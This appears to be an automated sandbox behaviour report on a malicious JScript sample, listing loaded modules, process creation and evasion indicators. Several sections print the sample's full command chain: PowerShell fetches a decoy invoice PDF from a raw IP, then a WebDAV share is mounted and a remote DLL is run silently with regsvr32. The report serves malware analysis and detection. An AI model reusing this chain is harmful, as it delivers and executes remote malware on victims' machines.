Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2879.js.csv");ITextStream.WriteLine(" entry:7640 f:gwhtptg");ITextStream.WriteLine(" exec:2 f:gwhtptg");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3987			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5866			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2716	Thread sleep count: 3987 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2716	Thread sleep count: 5866 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 408	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6008	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5988	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1720	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000003.2174640473.00000231391F6000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182319130.00000231391F6000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2181847567.0000023139198000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3401421654.0000027DB682B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3402929973.0000027DBBE59000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000003.2174640473.00000231391F6000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182319130.00000231391F6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW~

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
